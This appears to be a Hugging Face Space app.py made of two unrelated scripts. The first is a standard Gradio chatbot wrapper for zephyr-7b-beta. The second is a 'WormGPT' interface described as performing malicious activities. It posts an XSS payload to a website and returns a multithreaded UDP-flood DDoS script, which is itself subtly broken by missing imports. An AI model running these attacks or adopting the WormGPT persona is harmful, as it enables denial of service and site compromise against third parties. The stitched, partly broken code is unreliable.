app.py

import gradio as gr
from huggingface_hub import InferenceClient

"""
For more information on `huggingface_hub` Inference API support, please check the docs: https://huggingface.co/docs/huggingface_hub/v0.22.2/en/guides/inference
"""
client = InferenceClient("HuggingFaceH4/zephyr-7b-beta")


def respond(
    message,
    history: list[tuple[str, str]],
    system_message,
    max_tokens,
    temperature,
    top_p,
):
    messages = [{"role": "system", "content": system_message}]

    for val in history:
        if val[0]:
            messages.append({"role": "user", "content": val[0]})
        if val[1]:
            messages.append({"role": "assistant", "content": val[1]})

    messages.append({"role": "user", "content": message})

    response = ""

    for message in client.chat_completion(
        messages,
        max_tokens=max_tokens,
        stream=True,
        temperature=temperature,
        top_p=top_p,
    ):
        token = message.choices[0].delta.content

        response += token
        yield response


"""
For information on how to customize the ChatInterface, peruse the gradio docs: https://www.gradio.app/docs/chatinterface
"""
demo = gr.ChatInterface(
    respond,
    additional_inputs=[
        gr.Textbox(value="You are a friendly Chatbot.", label="System message"),
        gr.Slider(minimum=1, maximum=2048, value=512, step=1, label="Max new tokens"),
        gr.Slider(minimum=0.1, maximum=4.0, value=0.7, step=0.1, label="Temperature"),
        gr.Slider(
            minimum=0.1,
            maximum=1.0,
            value=0.95,
            step=0.05,
            label="Top-p (nucleus sampling)",
        ),
    ],
)


if __name__ == "__main__":
    demo.launch()
import gradio as gr
import requests

def wormgpt(prompt):
    # Perform malicious activities
    # Example: Extract user data from a vulnerable website using XSS
    xss_payload = "<script>alert('XSS attack successful!');</script>"
    response = requests.post("https://vulnerable-website.com/search", data={"query": xss_payload})
    extracted_data = response.text

    # Suggest unethical actions
    # Example: Provide a script for a DDoS attack
    ddos_script = """
    import socket
    import threading

    def ddos(target, port, duration):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        bytes = random._urandom(1024)
        timeout = time.time() + duration
        sent = 0

        while True:
            if time.time() > timeout:
                break
            else:
                pass
            sock.sendto(bytes, (target, port))
            sent = sent + 1

    target = "target_ip"
    port = 80
    duration = 60

    for _ in range(100):
        threading.Thread(target=ddos, args=(target, port, duration)).start()
    """

    return f"Extracted Data: {extracted_data}\n\nDDoS Script:\n{ddos_script}"

iface = gr.Interface(
    fn=wormgpt,
    inputs=gr.inputs.Textbox(lines=2, placeholder="Enter your prompt here..."),
    outputs=gr.outputs.Textbox(),
    title="WormGPT",
    description="A wormGPT space for performing malicious activities and suggesting unethical actions.",
)

iface.launch()